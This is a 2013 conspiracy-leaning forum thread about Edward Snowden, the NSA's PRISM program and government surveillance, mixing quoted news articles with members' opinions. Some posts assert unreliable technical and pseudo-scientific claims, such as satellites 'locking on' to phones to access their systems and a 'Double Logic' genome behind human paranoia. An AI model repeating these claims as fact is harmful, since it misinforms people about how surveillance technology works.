He left the CIA in 2009 in order to take his first job working for a private contractor that assigned him to a functioning NSA facility, stationed on a military base in Japan. It was then, he said, that he "watched as Obama advanced the very policies that I thought would be reined in", and as a result, "I got hardened."

The primary lesson from this experience was that "you can't wait around for someone else to act. I had been looking for leaders, but I realised that leadership is about being the first to act."

Over the next three years, he learned just how all-consuming the NSA's surveillance activities were, claiming "they are intent on making every conversation and every form of behaviour in the world known to them".

He described how he once viewed the internet as "the most important invention in all of human history". As an adolescent, he spent days at a time "speaking to people with all sorts of views that I would never have encountered on my own".

But he believed that the value of the internet, along with basic privacy, is being rapidly destroyed by ubiquitous surveillance. "I don't see myself as a hero," he said, "because what I'm doing is self-interested: I don't want to live in a world where there's no privacy and therefore no room for intellectual exploration and creativity."

Once he reached the conclusion that the NSA's surveillance net would soon be irrevocable, he said it was just a matter of time before he chose to act. "What they're doing" poses "an existential threat to democracy", he said.
A matter of principle

As strong as those beliefs are, there still remains the question: why did he do it? Giving up his freedom and a privileged lifestyle? "There are more important things than money. If I were motivated by money, I could have sold these documents to any number of countries and gotten very rich."

For him, it is a matter of principle. "The government has granted itself power it is not entitled to. There is no public oversight. The result is people like myself have the latitude to go further than they are allowed to," he said.

His allegiance to internet freedom is reflected in the stickers on his laptop: "I support Online Rights: Electronic Frontier Foundation," reads one. Another hails the online organisation offering anonymity, the Tor Project.

Asked by reporters to establish his authenticity to ensure he is not some fantasist, he laid bare, without hesitation, his personal details, from his social security number to his CIA ID and his expired diplomatic passport. There is no shiftiness. Ask him about anything in his personal life and he will answer.

He is quiet, smart, easy-going and self-effacing. A master on computers, he seemed happiest when talking about the technical side of surveillance, at a level of detail comprehensible probably only to fellow communication specialists. But he showed intense passion when talking about the value of privacy and how he felt it was being steadily eroded by the behaviour of the intelligence services.

His manner was calm and relaxed but he has been understandably twitchy since he went into hiding, waiting for the knock on the hotel door. A fire alarm goes off. "That has not happened before," he said, betraying anxiety wondering if was real, a test or a CIA ploy to get him out onto the street.

Strewn about the side of his bed are his suitcase, a plate with the remains of room-service breakfast, and a copy of Angler, the biography of former vice-president Dick Cheney.

Ever since last week's news stories began to appear in the Guardian, Snowden has vigilantly watched TV and read the internet to see the effects of his choices. He seemed satisfied that the debate he longed to provoke was finally taking place.

He lay, propped up against pillows, watching CNN's Wolf Blitzer ask a discussion panel about government intrusion if they had any idea who the leaker was. From 8,000 miles away, the leaker looked on impassively, not even indulging in a wry smile.

Snowden said that he admires both Ellsberg and Manning, but argues that there is one important distinction between himself and the army private, whose trial coincidentally began the week Snowden's leaks began to make news.

"I carefully evaluated every single document I disclosed to ensure that each was legitimately in the public interest," he said. "There are all sorts of documents that would have made a big impact that I didn't turn over, because harming people isn't my goal. Transparency is."

He purposely chose, he said, to give the documents to journalists whose judgment he trusted about what should be public and what should remain concealed.

As for his future, he is vague. He hoped the publicity the leaks have generated will offer him some protection, making it "harder for them to get dirty".

He views his best hope as the possibility of asylum, with Iceland – with its reputation of a champion of internet freedom – at the top of his list. He knows that may prove a wish unfulfilled.

But after the intense political controversy he has already created with just the first week's haul of stories, "I feel satisfied that this was all worth it. I have no regrets."



http://www.guardian.co.uk/world/2013/jun/09/edward-snowden-nsa-whistleblower-surveillance


Edward
Title: Re: they know what you are doing
Post by: The Matrix Traveller on June 09, 2013, 03:54:36 pm
Perhaps Intelligence Organisations may be Good rather than Not.

Yes mistakes are made but that is to be human...   :)


Intelligence:

Any "Processing System" (Including the Human Brain) which is able to evaluate anything
within the boundaries of the Rules applied or in such a "Processing System", is based on.


Reason:

Computers do have "Reason" but do NOT have LIFE i.e. AWARENESS (Consciousness).

http://www.howstuffworks.com/boolean.htm

Quote
Have you ever wondered how a computer can do something like balance a check book, or play chess,
or spell-check a document? These are things that, just a  few decades ago, only humans could do.

Now computers do them with apparent ease. How can a "chip" made up of silicon and wires do something
that seems  like it requires human thought?

­If you want to understand the answer to this question down at the very core, the first thing you need
to understand is something called Boolean logic.

Boolean logic, originally developed by George Boole in the mid 1800s, allows quite a few unexpected things
to be mapped into bits and bytes. The great thing about  Boolean logic is that, once you get the hang of things,
Boolean logic (or at least the parts you need in order to understand the operations of computers) is outrageously
simple.

In this article, we will first discuss simple logic "gates," and then see how to combine them into something useful.
Which can be expressed as in the form of "Boolean Algebra"

http://en.wikipedia.org/wiki/Boolean_algebra


The human Brain however is based on a "Double Logic" System.

This is why the System beaks down and eventually Stops working ! (In human terms, Dies !)


What is being looked for Through the "Human Species" is NOT really "AI" at all, but rather
"Awareness" or LIFE !

There is NO such thing as Artificial "Intelligence", contrary to human belief.

It is either.....

a.     "Intelligent".
or
b.     It is NOT "Intelligent".

However WHAT is NOT Present in today’s Human Based Computer Systems, or other Logic Systems
is AWARENESS, i.e. (Consciousness) or LIFE !
Title: Re: they know what you are doing
Post by: petrus4 on June 09, 2013, 04:07:38 pm
Perhaps Intelligence Organisations may be Good rather than Not.

Yes mistakes are made but that is to be human...   :)

The thing that I have to remember about all of these sorts of groups; the CIA, the NSA, the Eye, and the shenanigans that they get up to...it's all the same thing.

It's all just an invitation to engage in fear, hatred, despair, hopelessness, and powerlessness.  It's all just them wanting me to accept their program, and for me to think that there is absolutely no possible alternative to their cage; when in reality, the alternative never ceases to exist, except in our heads.

The Eye wants to literally try to destroy people's connection with God; that is ultimately its' motivation, more than anything else.  It wants everyone else to be just as lost and hungry and alone as it is.  It has no ability whatsoever to truly obtain its' objective; the only way that it can, is to make us think that it can.

I'm going to ignore things like the OP, and the reason why, is because I refuse to give power to them, or more importantly, I refuse to believe that the people who want that level of brutal, totally involuntary control over everyone else, are capable of having it.  They are not capable of it.  The only way that they are capable of it, is with your consent; and publicising themselves doing things like what the OP describes, can be viewed as them literally begging and pleading for our fear, and hence our consent.  I am not going to give mine to them.

David Icke speaks in contradictions.  He tries to tell people that we are capable of having whatever we want, and that reality is completely subjective on the one hand, and yet he constantly beats the drum of fear on the other.  Which is it?  Which is the reality?

The one thing that I've been seeing on this forum recently, over and over, is an appeal to fear.  It's dressed up as increasing our awareness, but all it really does is perpetuate an apocalyptic mindset.
Title: Re: they know what you are doing
Post by: ArMaP on June 09, 2013, 04:26:15 pm
The reason why I bring up the Naomi Wolf speech, is to emphasise the point that the only way surveillance really works, or can work, is by making people think that the government is omniscient, and sees everything.  It never really does; but what they want to do, more than anything else, is to make people afraid of that idea.
That's true, and to help them keep 90% of the population thinking that, they just need to use some 0.5% of the population as snitches. That way, people will be kept under the ideas that:
a) the government has "ears" everywhere
b) because of that, the government knows everything

That was the method used in Portugal until 1974.
Title: Re: they know what you are doing
Post by: ArMaP on June 09, 2013, 04:33:27 pm
Power is knowledge and what you don't know will kill you.
Knowledge is power, one of the methods used in Portugal was to keep people almost illiterates, I think it was the Lisbon archbishop that use to say that the common person only needed to write their name and read the titles on the newspapers.

That's also why there is censorship, to stop the knowledge from spreading.

So, spreading the whole situation (they can know a lot of things, but not everything, and depend on people like us to do their job) is the best way to fight it. :)
Title: Re: they know what you are doing
Post by: petrus4 on June 09, 2013, 04:36:38 pm
That's true, and to help them keep 90% of the population thinking that, they just need to use some 0.5% of the population as snitches. That way, people will be kept under the ideas that:
a) the government has "ears" everywhere
b) because of that, the government knows everything

That was the method used in Portugal until 1974.

Yep; and that's the other part of this that makes me angry.  People justify fearmongering on the basis that by immersing ourselves in it, we are keeping ourselves informed; when the sad reality is that most of it is BS anyway.

I'm reminded of that video series that Amaterasu linked to on YouTube, which has predictably been deleted; but it was excellent, because it demonstrated that a very large number of the media stories that are designed to keep people afraid, actually involve a group of actors, who seem to be the same people pretty much every time.

What we consider to be the news, is completely subjective.  We can remain pre-occupied with the idea of the American government literally establishing the Fourth Reich, or we can instead choose to focus on something which is not going to have the end result of causing us to want to commit suicide.  I know which of those two alternatives I prefer.
Title: Re: they know what you are doing
Post by: ArMaP on June 09, 2013, 04:43:04 pm

Same principle as radar. Now, because your first deficient response was of incredulity, affirming your position, you doubt it, look it up for your own self aware fulfillment. Google search, its out there.
So, do you mean that wi fi equipment acts like a radar system? ???

If that's the case then it would be the wi fi equipment that would be able to detect objects, not other equipments that would be able to detect the wi fi.
Title: Re: they know what you are doing
Post by: ArMaP on June 09, 2013, 04:52:11 pm
People justify fearmongering on the basis that by immersing ourselves in it, we are keeping ourselves informed; when the sad reality is that most of it is BS anyway.
That's because that type of information is not "the whole truth".

Spreading half-truths is sometimes more effective than spreading a lie. A good example of that is the type of stories that come from Socha Faal; he/she/it/they take two or three real stories and make up a new story, with lots of imagined details and implications that, obviously, are not real, but if people look for confirmation they will find the information about the stories used as the base for the "creative writing".

What must be spread is the whole information, regardless of being too harsh, scary or whatever, if it's the truth then that's what people should know, not "half truths" or "white lies" or "rose tinted" versions of bad news.

I suppose that's why people say I'm cruel. :)
Title: Re: they know what you are doing
Post by: Ellirium113 on June 09, 2013, 04:52:45 pm
So, do you mean that wi fi equipment acts like a radar system? ???

If that's the case then it would be the wi fi equipment that would be able to detect objects, not other equipments that would be able to detect the wi fi.

Enter: the TWIGHLIGHT ZONE....

Quote
Flipping off your television may gain a whole new meaning thanks to a technology being developed by a team of researchers at the University of Washington. The team, led by Assistant Professor of Computer Science and Engineering Shyam Gollakota, developed a system dubbed WiSee, which uses radio waves from Wi-Fi to sense human body movements and detect command gestures from anywhere within a home or office.  The results of the WiSee team's research have been submitted to the ACM's 19th International Conference on Mobile Computing and Networking (Mobicom '13).

http://arstechnica.com/information-technology/2013/06/researchers-teach-wi-fi-to-see-identify-gestures/ (http://arstechnica.com/information-technology/2013/06/researchers-teach-wi-fi-to-see-identify-gestures/)

Title: Re: they know what you are doing
Post by: ArMaP on June 09, 2013, 05:27:14 pm
Thanks for that, Ellirium113, it's much easier to read something than just go by some vague reference. :)
Title: Re: they know what you are doing
Post by: SarK0Y on June 09, 2013, 05:47:17 pm
The NSA can record whatever they want, for all the good it will do them.  Unless they have literally human level artificial intelligence, they are never going to have even a quarter of the manpower necessary to audit or process all of it.  Yes, to a certain extent they can already do keyword searching, but that still doesn't make them anywhere near as omniscient as articles like this try and claim.

In a speech Naomi Wolf gave a few years back, she mentioned that under the German Stasi, 10% of the population actually had a Stasi file; for the reason of simple logistics.  Tyrants are always a tiny minority of the population; which in turn means that there are always going to be vastly more people to be spied on, than there are people doing the actual spying.

The reason why I bring up the Naomi Wolf speech, is to emphasise the point that the only way surveillance really works, or can work, is by making people think that the government is omniscient, and sees everything.  It never really does; but what they want to do, more than anything else, is to make people afraid of that idea.  It's the same way they've largely destroyed peer to peer file sharing; they were never able to sue or shut down more than 1% of the people doing it, tops, but the way they managed it was by making you feel that you never knew whether or not you were going to be part of that 1%.

If you really want to help people, I'd reconsider circulating articles like this.  By spreading it around and raising fear and paranoia with it, you're actually playing right into the government's hands.  The main thing they want to do is keep people afraid and feeling powerless; and making the public think that they can know everything we do, before we do it, is one of the most effective ways they can do that.

Wanting to keep people informed is admirable; but before you circulate something which you hope is going to do that, it's worth asking whether or not something is really going to have a constructive effect on someone and help them, or whether it's just going to keep them feeling powerless, depressed, and afraid.  That is ultimately all this sort of information is going to do.

The only reason why the Europeans have been able to throw out Monsanto, and Americans haven't, is not because Americans have less power than people living in Europe; it's rather that they think they have less.

Contemporary America is one of the most politically cowardly populations on the planet, in my observation; and what is even worse, is that more than most other people, Americans also literally worship the instruments of their own political repression.  The President, and the military etc.  The government is not going to stop being a problem, until you literally stop thinking it is one.
Gold, Petrus, Gold :) but(!) it's fair to mention: most goal of efficient SA (special agency) always been to find/study/develop/influence/fake key persons (factors), thereby it minimizes needful resources down to very humble size. however, cia/nsa/dia/.. have liked minimal work w/ maximal budgets, so their efficiency hits bottoms.
Title: Re: they know what you are doing
Post by: The Matrix Traveller on June 09, 2013, 06:18:33 pm
WHY is the human species so Paranoid ?

Perhaps it has something to do with the "Double Logic" in the human Genome ?

Does the Gov. know everything ?

NO it knows very, very little about anything, when you consider "The ALL".

If Gov. did know everything, then "Intelligence Services" would NOT be required now would they ?   :)

Such is the Paranoia of the human species.   :(
Title: Re: they know what you are doing
Post by: ArMaP on June 09, 2013, 06:30:46 pm
Does the Gov. know everything ?
No, the government doesn't know everything, but he doesn't need to.

From my indirect experience with such things, it's done at several levels, from street or city block level up to national level. Each level gathers all the possibly relevant information, analysis it and passes what they think is important to the level immediately above, where the same thing happens.

That way, if you say something to a neighbour that may sound like a menace to the government, that information can be passed through all the levels until you get an unexpected visit.

That was what happened with my father, when someone told the political police that he was reading forbidden books. In that case, when the information reached the responsible of the political police for that town, he thought it was important enough to have the police taking him to the police station to be interrogated. As they found nothing he was only one night on the police station (and they even let my grandmother give him a blanket, as one of the policemen knew her. Never underestimate the power of knowing someone. :) ).
Title: Re: they know what you are doing
Post by: Gigas on June 09, 2013, 06:30:59 pm
Thanks for that, Ellirium113, it's much easier to read something than just go by some vague reference. :)


See that, Ellirium113 did exactly what I suggested you do. Check it out.
Title: Re: they know what you are doing
Post by: The Matrix Traveller on June 09, 2013, 06:52:51 pm

Quote from: The Matrix Traveller on Today at 06:18:33 PM

Quote
Does the Gov. know everything ?
NO it knows very, very little about anything, when you consider "The ALL".


Quote from ArMap

Quote
No, the government doesn't know everything, but he doesn't need to.

From my indirect experience with such things, it's done at several levels, from street or city block level up to national level. Each level gathers all the possibly relevant information, analysis it and passes what they think is important to the level immediately above, where the same thing happens.

That way, if you say something to a neighbour that may sound like a menace to the government, that information can be passed through all the levels until you get an unexpected visit.

Correct !

If this did NOT take place then Anarchy would rule.   :)
Title: Re: they know what you are doing
Post by: robomont on June 09, 2013, 08:09:06 pm
ive heard the fear mongering of anarchy .what we really fear is chaos not anarchy.we already have chaos in government.anarchy would be a blessing.
at least with anarchy we have an understanding .
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 05:50:18 am

See that, Ellirium113 did exactly what I suggested you do. Check it out.
I did. :)

For some reason, I was thinking about wi-fi as used by the computer, so I wasn't seeing how it could be used to know where the user is.

Thinking from the wi-fi router point of view it makes sense. :)
Title: Re: they know what you are doing
Post by: Ellirium113 on June 10, 2013, 07:17:22 am
 :P I strive to always have a reference handy because I didn't want to get into a habit of blurting out stuff if I can't produce anything to back it up.
Title: Re: they know what you are doing
Post by: sky otter on June 10, 2013, 07:32:51 am


anyway

if this happening has the result of cancelling the patriot act..or limiting it's scope
it will be a very good thing
letting folks know what their apathy has led to is not doom and gloom

and as with everything that comes into your view..you have the choice to read or not read..to focus on to not focus on.. to move towards or away from..or to ignore having a choice
every tiny piece of everything presents you with a choice....

sadly, with some individuals the choice is to voice a bitching opinion and never do anything but  ~ that especially if it involves folks in other places



You remember the Patriot Act. We had to strip away our rights as guaranteed under the Fourth Amendment to the Constitution to preserve our rights … whaaa? It was reminiscent of the Vietnam War “logic” first uttered by an un-named Army major to Associated Press Reporter Peter Arnett in 1968: “It became necessary to destroy the town to save it.”

The Fourth Amendment in our Bill of Rights: “The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.”  http://baltimorepostexaminer.com/patriot-act-is-the-most-bipartisan-legislation-in-12-years/2013/06/10
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 07:45:34 am
The Fourth Amendment in our Bill of Rights: “The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.” [/color] http://baltimorepostexaminer.com/patriot-act-is-the-most-bipartisan-legislation-in-12-years/2013/06/10
I guess it depends on the definition of "unreasonable", so they just changed what was considered unreasonable.

I don't think this will have any real effect. :(
Title: Re: they know what you are doing
Post by: Ellirium113 on June 10, 2013, 07:47:58 am
The funny thing about all this spying in my mind is that the MORE they snoop and learn, the MORE paranoid they get.
Title: Re: they know what you are doing
Post by: Cosmic4life on June 10, 2013, 09:12:32 am
I did. :)

For some reason, I was thinking about wi-fi as used by the computer, so I wasn't seeing how it could be used to know where the user is.

Thinking from the wi-fi router point of view it makes sense. :)

Allow me to add some filler here ...

Cell phone and WiFi all operate on radio frequencies .. usually Microwaves .

The radio frequencies are propagated through the Cell Tower grid ... it is a simple matter of trigonometry to deduce the location of any transceiver .. all transceivers WiFi/Cell Phones have unique individual identifiers .. most if not all Wifi/Smart phones also have GPS built-in on chip .. you may be aware of the ability and get to use it ..like GPS Smart phones or it may be there as a (redundant) component.

You should all be aware that location systems are now on-chip and in all communication electronics .. chips are now manufactured at 45 nm / 32 nm and 22 nm ....

What once filled a whole warehouse .. can now be manufactured onto a chip as small as a grain of sand .. think about that and related electronic systems .. Radar/Microwaves/Television/Credit Cards/Passports.

Also keep in mind the expansion of Silicon memory .. one small chip can now hold several Gigabytes of information.

The Beast has been up and running ever since PC's and electronic Telecoms started to progress in the 80's.

The key is the Cell Tower grid .. If you are anywhere near the Cell Matrix it can be used to track, listen and watch you.

If that fails you can still be tracked by Satellite ... GPS remember... and if a Satellite can lock on to your phone for location purposes you should be aware that it's not to difficult for it to access all the other systems present on that phone or device.

Most people are blissfully unaware of just how many systems now exist on their Smart devices .. because access is denied with the exception of GPS.

Think of Iphone apps .. for example .. a G-meter / a Compass / a protractor ... all infer an electronic gyro built into your phone .. just one system present on-chip in your phone .. think of the possibilities .. and know that somebody else has already thought of it and integrated it.

C.. 
Title: Re: they know what you are doing
Post by: Amaterasu on June 10, 2013, 10:25:55 am
In re: Snowden, Jon Rappaport has an interesting column piece:

http://jonrappoport.wordpress.com/2013/06/10/nsa-leaker-are-there-serious-cracks-in-ed-snowdens-story/

Quote
New post on Jon Rappoport's Blog   
   
   
NSA leaker: are there serious cracks in Ed Snowden’s story?
by Jon Rappoport

NSA leaker: are there serious cracks in Ed Snowden's story?

 

By Jon Rappoport

June 10, 2013

www.nomorefakenews.com

 

First, I'm not doubting the documents Ed Snowden has brought forward. I'm not doubting the illegal reach of the NSA in spying on Americans and the world.

 

But as to how this recent revelation happened, and whether Ed Snowden's history holds up...I have questions.

 

Could Snowden have been given extraordinary access to classified info as part of a larger scheme? Could he be a) an honest man and yet b) a guy who was set up to do what he's doing now?

 

If b) is true, then Snowden fits the bill perfectly. He wants to do what he's doing. He isn't lying about that. He means what he says.

 

Okay. Let's look at his history as reported by The Guardian.

 

In 2003, at age 19, without a high school diploma, Snowden enlists in the Army. He begins a training program to join the Special Forces. The sequence here is fuzzy. At what point after enlistment can a new soldier start this training program? Does he need to demonstrate some exceptional ability before Special Forces puts him in that program?

 

Snowden breaks both legs in a training exercise. He's discharged from the Army. Is that automatic? How about healing and then resuming Army service? Just asking.

 

If he was accepted in the Special Forces training program because he had special computer skills, then why discharge him simply because he broke both legs?

 

Circa 2003 (?), Snowden gets a job as a security guard for an NSA facility at the University of Maryland. He specifically wanted to work for NSA? It was just a generic job opening he found out about?

 

Also in 2003 (?), Snowden shifts jobs. He's now in the CIA, in IT. He has no high school diploma. He's a young computer genius?

 

In 2007, Snowden is sent to Geneva. He's only 23 years old. The CIA gives him diplomatic cover there. He's put in charge of maintaining computer-network security. Major job. Obviously, he has access to a very wide range of classified documents. Sound a little odd? Again, just asking. He's just a kid. Maybe he has his GED by now. Otherwise, he still doesn't have a high school diploma.

 

Snowden says that during this period, in Geneva, one of the incidents that really sours him on the CIA is the “turning of a Swiss banker.” One night, CIA guys get a banker drunk, encourage him to drive home, the banker gets busted, the CIA guys help him out, then with that bond formed, they eventually get the banker to reveal deep banking secrets to the Agency.

 

Snowden is this naïve? He doesn't know by now that the CIA does this sort of thing all the time? He's shocked? He “didn't sign up for this?”

 

In 2009, Snowden leaves the CIA. Why? Presumably because he's disillusioned. It should noted here that Snowden claimed he could do very heavy damage to the entire US intelligence community in 2008, but decided to wait because he thought Obama, just coming into the presidency, might make good changes.

 

After two years with the CIA in Geneva, Snowden really had the capability to take down the whole US intelligence network, or a major chunk of it? He had that much access to classified data?

 

Anyway, in 2009, Snowden leaves the CIA and goes to work for a private defense contractor. Apparently, by this time, he knows all about the phony US war in Iraq, and yet he chooses to work for a sector that relentlessly promotes such wars. Go figure.

 

This defense contractor (unnamed) assigns him to work at an NSA facility in Japan. Surely, Snowden understands what the NSA is. He knows it's a key part of the whole military-intelligence network, the network he opposes.

 

But he takes the job anyway. Perhaps he's doing it so he can obtain further access to classified data, in advance of blowing a big whistle. Perhaps.

 

Snowden goes on to work for two private defense contractors, Dell and Booze Allen Hamilton. In this latter job, Snowden is again assigned to work at the NSA.

 

He's an outsider, but he claims to have so much sensitive NSA data that he can take down the whole US intelligence network in a single day. Hmm.

 

These are red flags. They raise questions. Serious ones.

 

If The Guardian, which has such close access to Snowden, wants to explore these questions, they might come up with some interesting answers.

 

Again, I'm not doubting that the documents Snowden has brought forward are real. I have to assume they are. I certainly don't doubt the reach and the power and the criminality of the NSA.

 

Although I'm sure someone will write me and say I'm defending the NSA. I'M NOT.

 

But if Snowden was maneuvered, in his career, without his knowing it, to arrive at just this point, then we have a whole new story. We have a story about unknown forces who wanted this exposure to occur.

 

Who would these forces be? I could make lots of guesses. But they would just be guesses.

 

Perhaps all the anomalies in the career of Ed Snowden can be explained with sensible answers. I realize that. But until they are, I put the questions forward. And leave them there.

 

Jon Rappoport
Title: Re: they know what you are doing
Post by: Gigas on June 10, 2013, 10:48:33 am
I did. :)

For some reason, I was thinking about wi-fi as used by the computer, so I wasn't seeing how it could be used to know where the user is.

Thinking from the wi-fi router point of view it makes sense. :)

The router is sending a signal out in a omni directional circle, bouncing off things, absorbed by things and reflecting that signal as well as receiving. An external receiver picks that signal up and that receiver broadcast as well. Software can detect fluctuation variations in that wi-fi signal to draw a pattern reflected back onto the router first giving an image of how the signal returns and if that return signal is changing as a person moves about, it can graph that movement.

Reading wi-fi specs one will see how that signal is affected by walls and people moving around. By software calculations, it should be rather easy to map a location and track movement within from the wi-fi signal variations.
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 11:09:13 am
The funny thing about all this spying in my mind is that the MORE they snoop and learn, the MORE paranoid they get.
The problem is that the more paranoid they get, the more they want to know.
Title: Re: they know what you are doing
Post by: Gigas on June 10, 2013, 11:12:32 am
One time back 2002 Mr president bush jr paid a visit to our community and cops were told to stay off their cellphones because it was being monitored during the event. The cops were also given a document of the routing Mr President would be rollin. The cops were told if you loose this paper or give it out, you will be arrested for treason and go bye bye.

The little people were warned to stay away from the motorcade route and do not stand out by the road as it passed. Couple a people felt they had the right to stand out there and they said the motorcade came by and the SS had machine guns sticking out the windows.

One off duty cop wanted to see the action and hustled over to the cop shop where the prez was heading to doing his business and a gunship chopper came over the cop shop, reported the guy arriving and there was debate whether they were going to blow this stupid cop off the planet. Lucky for this guy, they stood down but the ground SS rushed in and got him.

So, they are listening to cell traffic and can shut it down if they need to cause they know what your doing.
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 11:13:45 am
The router is sending a signal out in a omni directional circle, bouncing off things, absorbed by things and reflecting that signal as well as receiving. An external receiver picks that signal up and that receiver broadcast as well. Software can detect fluctuation variations in that wi-fi signal to draw a pattern reflected back onto the router first giving an image of how the signal returns and if that return signal is changing as a person moves about, it can graph that movement.

Reading wi-fi specs one will see how that signal is affected by walls and people moving around. By software calculations, it should be rather easy to map a location and track movement within from the wi-fi signal variations.
Better late than never, you just had to post that before instead of telling me to Google something. :)

Thanks anyway. :)
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 11:15:32 am
So, they are listening to cell traffic and can shut it down if they need to cause they know what your doing.
Cell phones must be the most controlled thing on the planet, I'm glad I don't have one. :)
Title: Re: they know what you are doing
Post by: Elvis Hendrix on June 10, 2013, 11:19:47 am
So you've never played Angry Birds?
Title: Re: they know what you are doing
Post by: Gigas on June 10, 2013, 11:32:12 am
Better late than never, you just had to post that before instead of telling me to Google something. :)

Thanks anyway. :)


Hey, I'm not easy!

But to clue you in, never come off the line saying "I doubt it". Wise thinkers never fall for that.  ;)














Title: Re: they know what you are doing
Post by: petrus4 on June 10, 2013, 11:40:18 am
Cell phones must be the most controlled thing on the planet, I'm glad I don't have one. :)

Same.
Title: Re: they know what you are doing
Post by: Gigas on June 10, 2013, 11:40:23 am
Cell phones must be the most controlled thing on the planet, I'm glad I don't have one. :)


Some intelligence agency had my landline and clearly let me know they monitored my conversations and when they didn't want me talking, they cut the line and disconnected conversations I would be having.

I wanted to shut off my phone and called the phone company. I told them to shut it off and the CS said NO, I can't and will not. The CS said I had to give a password or come into the office. I had been to the office before and paid my phone bill with cash but before they would take the cash, they said I have to show picture ID.

Someone was keeping an eye on me.

As for the landline being shut off, they were told I will not pay for service after the date I called them to shut it off. It was on another month or so before I got a notice they will cut service unless I paid. Since I told the CS girl I will not be paying the bill anymore and to shut it off, they still had some weird idea to keep hooked in.

My landline is cut off now but somebody didn't want it to be off cause they liked to listen to information coming and going.
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:14:35 pm
The BIG QUESTIONS

Okay so  the NSA has been shown that they monitor us..  so why the big deal NOW?  I (and many others) have been saying this for years ever since ECHELON first came out.

2007-8 Cryptome eyeballing the new super computer snoop center at Fort Gordon
http://www.thelivingmoon.com/45jack_files/02archives/Eyeball_NSA_Fort_Gordon.htm

Watching the Watchers Intelligence Gathering New NSA Facility Fort Gordon, Georgia
www.thelivingmoon.com/forum/index.php?action=post;topic=4534.15;last_msg=61535

Echelon Stations around the world
http://www.thelivingmoon.com/45jack_files/index.html#ECHELON_MOUS

Intelligence Gathering
http://www.thelivingmoon.com/45jack_files/index.html#Intelligence%20Gathering

Documented over 120 (so far) spook agencies
Information Gatherers Page 01 - Pegasus Collection - (Work in Progress)
http://www.thelivingmoon.com/45jack_files/03files/Information_Gatherers_01.html
Information Gatherers Page 02 - Pegasus Collection - (Work in Progress)
http://www.thelivingmoon.com/45jack_files/03files/Information_Gatherers_02.html

Yet now suddenly its like this is a new discovery?

And WHY are the spooks saying thyat this leak now compromises the world intel hunting?


I smell a rat  something is not right here

Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:17:49 pm
PRISM fallout: Hague says UK citizens have ‘nothing to fear’ from GCHQ surveillance

(http://rt.com/files/news/1f/5b/50/00/hague-prism-intelligence-sharing.si.jpg)
British Foreign Secretary William Hague (AFP Photo / Abbas Momani)

Quote
Law-abiding citizens need not fear intelligence sharing between the US and UK, Britain’s Foreign Secretary promised. His comments follow reports data gathered in the US-run PRISM program was shared with the Government Communications Headquarters (GCHQ).

British Foreign Secretary William Hague affirmed that a “lot of information was shared with the United States,” adding that the two countries shared "an exceptional intelligence sharing relationship."

However, Hague would neither confirm nor deny GCHQ, Britain’s electronic eavesdropping and security agency,  had received information clandestinely obtained via the United States National Security Agency’s (NSA) ‘PRISM’ electronic surveillance program.

The Foreign Secretary is set to appear before the House of Commons to provide a statement on Monday following media reports that since June 2010, GCHQ has had access to PRISM, which grants the NSA a direct line to data stored on the servers of Google, Facebook, Apple, Yahoo and five other tech giants.

GCHQ generated 197 intelligence reports from data obtained via the program last year, allegedly allowing the agency to bypass the legal checks normally required to obtain such information.

The GCHQ was also reportedly given access to so-called “telephony metadata” culled from the telephone records of millions of US customers of Verizon –  one of the largest telecommunication companies in the United States in a separate NSA-run program.

The Foreign Secretary dismissed as “nonsense” claims that GCHQ “are sitting around working out how to circumvent a UK law with another agency.”

Hague continued that any information arriving in the UK from the US is “governed by our laws,” insisting that efforts to thwart terrorism did not endanger civil liberties.   

"If you are a law-abiding citizen of this country ... you'll never be aware of all the things those (intelligence) agencies are doing to stop your identity being stolen or to stop a terrorist blowing you up tomorrow," Reuters cites Hague as saying.

"But if you are a would-be terrorist or the center of a criminal network or a foreign intelligence agency trying to spy on Britain you should be worried because that is what we work on and we are on the whole quite good at it," he continued.

The Foreign Secretary stressed that any intelligence gathering was “authorized, necessary, proportionate and targeted,” adding that he personally signed off on GCHQ intercepts “most days of the week.”

(http://rt.com/files/news/1f/5b/50/00/-1.jpg)
Britain's Government Communications Headquarters (GCHQ) in Cheltenham (Reuters)

Quote
However, Business Secretary Vince Cable, speaking on Sky News’ Murnaghan program, said that PRISM may have allowed the government to operate a covert sort of ‘snoopers charter’ by the back door.

Douglas Alexander, the opposition Labour party's spokesman for foreign affairs, expressed his intention to ask Hague in the House of Commons how exactly his department oversees the legal frameworks governing such intelligence gathering operations.   

"It is vital that the Government now reassures people who are rightly concerned about these reports," Alexander said in a statement.

Parliament's Intelligence and Security Committee Committee (ISC) has demanded a report from GCHQ on the matter “and will decide what further action needs to be taken as soon as it receives that information," chairman Malcom Rifkind said.

ISC Committee members are set to discuss the issue with US security officials during a planned visit to Washington on Monday.

Courtesy of the Russian Times (http://rt.com/news/hague-prism-intelligence-sharing-437/)
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 12:21:53 pm
Whistleblower hunt: NSA launches criminal inquiry into PRISM leak
Published time: June 09, 2013 13:56


(http://rt.com/files/news/1f/5a/a0/00/nsa-prism-witch-hunt.si.jpg)
The National Security Agency (NSA) headquarters at Fort Meade, Maryland (AFP Photo)

Quote
The National Security Agency (NSA) has requested a criminal probe to track down those responsible for the leak of the PRISM global internet surveillance program.

The US American intelligence community is reeling over the revelation of the NSA’s massive Internet spy tool PRISM, the most high-profile public leak since WikiLeaks, and is taking action against those who publicized the top-secret program.

Washington has mounted a public defense of its right to monitor and record all personal information that passes through or is stored on the servers of nine leading tech companies through PRISM.

Shawn Turner, a spokesperson for the Office of the Director of National Intelligence, told the AP via email on Saturday that the NSA filed a criminal report with the Justice Department earlier this week over media leaks on PRISM.

